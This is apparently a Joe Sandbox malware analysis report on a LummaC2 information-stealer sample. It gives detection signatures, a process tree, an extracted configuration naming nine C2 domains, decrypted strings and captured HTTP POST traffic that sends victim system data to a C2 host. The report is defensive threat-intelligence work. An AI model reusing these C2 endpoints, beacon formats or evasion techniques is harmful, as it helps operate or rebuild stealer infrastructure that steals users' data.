Edit tour

Windows Analysis Report
QzK1LCSuq2.exe

Overview

General Information

Sample name:	QzK1LCSuq2.exe renamed because original name is a hash value
Original sample name:	7047b240f5a5e866262dfcc36f919f3d.exe
Analysis ID:	1581395
MD5:	7047b240f5a5e866262dfcc36f919f3d
SHA1:	fe3bb7905f269927ca4f7145d0abc551b4a8e5aa
SHA256:	23f525572220eef117b077bc9ee2a39729a0b9b3c58543c814084e63bfca8e34
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Hides threads from debuggers

Leaks process information

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

QzK1LCSuq2.exe (PID: 4432 cmdline: "C:\Users\user\Desktop\QzK1LCSuq2.exe" MD5: 7047B240F5A5E866262DFCC36F919F3D)

LummaC2.exe (PID: 1104 cmdline: "C:\Users\user\AppData\Local\Temp\LummaC2.exe" MD5: 607000C61FCB5A41B8D511B5ED7625D4)

Set-up.exe (PID: 2056 cmdline: "C:\Users\user\AppData\Local\Temp\Set-up.exe" MD5: 2A99036C44C996CEDEB2042D389FE23C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["slipperyloo.lat", "tentabatte.lat", "shapestickyr.lat", "censeractersj.click", "bashfulacid.lat", "wordyfindy.lat", "talkynicer.lat", "manyrestro.lat", "curverpluch.lat"], "Build id": "Fppr10--Indus2"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.QzK1LCSuq2.exe.fd0000.0.unpack	MALWARE_Win_DLInjector04	Detects downloader / injector	ditekSHen	0x6d30d2:$s1: Runner 0x6d3237:$s3: RunOnStartup 0x6d30e6:$a1: Antis 0x6d3113:$a2: antiVM 0x6d311a:$a3: antiSandbox 0x6d3126:$a4: antiDebug 0x6d3130:$a5: antiEmulator 0x6d313d:$a6: enablePersistence 0x6d314f:$a7: enableFakeError 0x6d3260:$a8: DetectVirtualMachine 0x6d3285:$a9: DetectSandboxie 0x6d32b0:$a10: DetectDebugger 0x6d32bf:$a11: CheckEmulator

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: QzK1LCSuq2.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP1735210003	Avira URL Cloud: Label: malware
Source: http://home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP13	Avira URL Cloud: Label: malware
Source: http://home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP1735210003?argument=0	Avira URL Cloud: Label: malware
Source: http://home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP173521000335a1	Avira URL Cloud: Label: malware
Source: http://home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP1735210003http://home.fortth14ht.top/nTrmoVgOaovBJpKS	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000001.00000002.2955102071.0000000000E79000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["slipperyloo.lat", "tentabatte.lat", "shapestickyr.lat", "censeractersj.click", "bashfulacid.lat", "wordyfindy.lat", "talkynicer.lat", "manyrestro.lat", "curverpluch.lat"], "Build id": "Fppr10--Indus2"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	ReversingLabs: Detection: 26%

Multi AV Scanner detection for submitted file

Source: QzK1LCSuq2.exe

ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: QzK1LCSuq2.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmp	String decryptor: bashfulacid.lat
Source: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmp	String decryptor: tentabatte.lat
Source: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmp	String decryptor: curverpluch.lat
Source: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmp	String decryptor: talkynicer.lat
Source: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmp	String decryptor: shapestickyr.lat
Source: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmp	String decryptor: manyrestro.lat
Source: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmp	String decryptor: slipperyloo.lat
Source: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmp	String decryptor: wordyfindy.lat
Source: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmp	String decryptor: censeractersj.click
Source: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmp	String decryptor: - Screen Resoluton:
Source: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmp	String decryptor: Workgroup: -
Source: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmp	String decryptor: Fppr10--Indus2

Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.0000000007CDF000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_a3f384a1-8

Source: QzK1LCSuq2.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov ecx, eax	1_2_00D7C59C
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax+273D8908h]	1_2_00D7EEC0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 40C3E6E8h	1_2_00D7EEC0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], AD68FE34h	1_2_00D7E8D0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then push esi	1_2_00D610F3
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov edx, eax	1_2_00D58095
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-6E7BF537h]	1_2_00D6C894
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov ecx, eax	1_2_00D690B0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-23ABFE5Bh]	1_2_00D690B0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax+273D8908h]	1_2_00D7F040
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 38B2B0F7h	1_2_00D7F040
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov byte ptr [esi], cl	1_2_00D6B078
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then movzx edx, byte ptr [ebx+eax]	1_2_00D7B813
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2213E57Fh	1_2_00D7A800
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 06702B10h	1_2_00D7A800
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2213E57Fh	1_2_00D7A800
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov ecx, eax	1_2_00D7A800
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-6E7BF537h]	1_2_00D6C9DA
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-6E7BF537h]	1_2_00D6C9E9
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then call dword ptr [00D81DB0h]	1_2_00D4D196
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-6E7BF537h]	1_2_00D6C984
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov ecx, eax	1_2_00D5D189
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+795224EFh]	1_2_00D659B0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then jmp edx	1_2_00D7D140
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov ecx, eax	1_2_00D5D172
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov word ptr [edx], cx	1_2_00D592C0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-15B7625Fh]	1_2_00D68290
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+273D8904h]	1_2_00D7DAA0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov word ptr [edx], cx	1_2_00D54A50
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov eax, ecx	1_2_00D54A50
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov ebp, dword ptr [esp+20h]	1_2_00D54A50
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	1_2_00D54A50
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	1_2_00D54A50
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov esi, edx	1_2_00D5720B
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+65F916CFh]	1_2_00D5720B
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+795224B5h]	1_2_00D66230
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then and esi, 80000000h	1_2_00D48A20
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then cmp dword ptr [ebp+edi*8+00h], 9164D103h	1_2_00D7DBB0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+418B67A0h]	1_2_00D4D35C
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	1_2_00D47440
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+edi*4+00h]	1_2_00D47440
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then cmp word ptr [edi+eax], 0000h	1_2_00D5CC60
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then movzx ecx, byte ptr [edi+eax]	1_2_00D7B46A
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov dword ptr [ebp-00000248h], E7E6E5E6h	1_2_00D7BC14
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov ecx, eax	1_2_00D7BC14
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov word ptr [ebx], cx	1_2_00D5AD81
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov edx, ecx	1_2_00D4EDB4
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov edx, eax	1_2_00D4EDB4
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	1_2_00D69DA0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov esi, eax	1_2_00D56D52
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov edi, ecx	1_2_00D5D560
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+ebp]	1_2_00D77D00
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then jmp edx	1_2_00D626D3
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then movzx esi, word ptr [ecx]	1_2_00D546C0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov byte ptr [ecx], al	1_2_00D666C0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-00B3ED90h]	1_2_00D6B695
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov edi, dword ptr [esp+54h]	1_2_00D68640
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov edx, eax	1_2_00D7BCDB
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then jmp eax	1_2_00D63FF1
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov edi, dword ptr [esp+30h]	1_2_00D63FF1
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then cmp dword ptr [esi+ebx*8], 4B1BF3DAh	1_2_00D77790
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then push dword ptr [esp+04h]	1_2_00D77790
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 4x nop then mov ecx, eax	1_2_00D6BF45

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: tentabatte.lat
Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: censeractersj.click
Source: Malware configuration extractor	URLs: bashfulacid.lat
Source: Malware configuration extractor	URLs: wordyfindy.lat
Source: Malware configuration extractor	URLs: talkynicer.lat
Source: Malware configuration extractor	URLs: manyrestro.lat
Source: Malware configuration extractor	URLs: curverpluch.lat

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /nTrmoVgOaovBJpKSuLkP1735210003 HTTP/1.1Host: home.fortth14ht.topAccept: /Content-Type: application/jsonContent-Length: 593540Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 35 33 32 39 31 35 34 35 38 33 31 37 31 33 36 33 37 37 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c
Source: global traffic	HTTP traffic detected: GET /nTrmoVgOaovBJpKSuLkP1735210003?argument=0 HTTP/1.1Host: home.fortth14ht.topAccept: /
Source: global traffic	HTTP traffic detected: POST /nTrmoVgOaovBJpKSuLkP1735210003 HTTP/1.1Host: home.fortth14ht.topAccept: /Content-Type: application/jsonContent-Length: 31Data Raw: 7b 20 22 69 64 31 22 3a 20 22 30 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 31 22 20 7d Data Ascii: { "id1": "0", "data": "Done1" }

Source: Joe Sandbox View	IP Address: 185.121.15.192 185.121.15.192
Source: Joe Sandbox View	IP Address: 3.218.7.103 3.218.7.103

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /nTrmoVgOaovBJpKSuLkP1735210003?argument=0 HTTP/1.1Host: home.fortth14ht.topAccept: /

Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.fortth14ht.top

Source: unknown

HTTP traffic detected: POST /nTrmoVgOaovBJpKSuLkP1735210003 HTTP/1.1Host: home.fortth14ht.topAccept: */*Content-Type: application/jsonContent-Length: 593540Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 35 33 32 39 31 35 34 35 38 33 31 37 31 33 36 33 37 37 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c

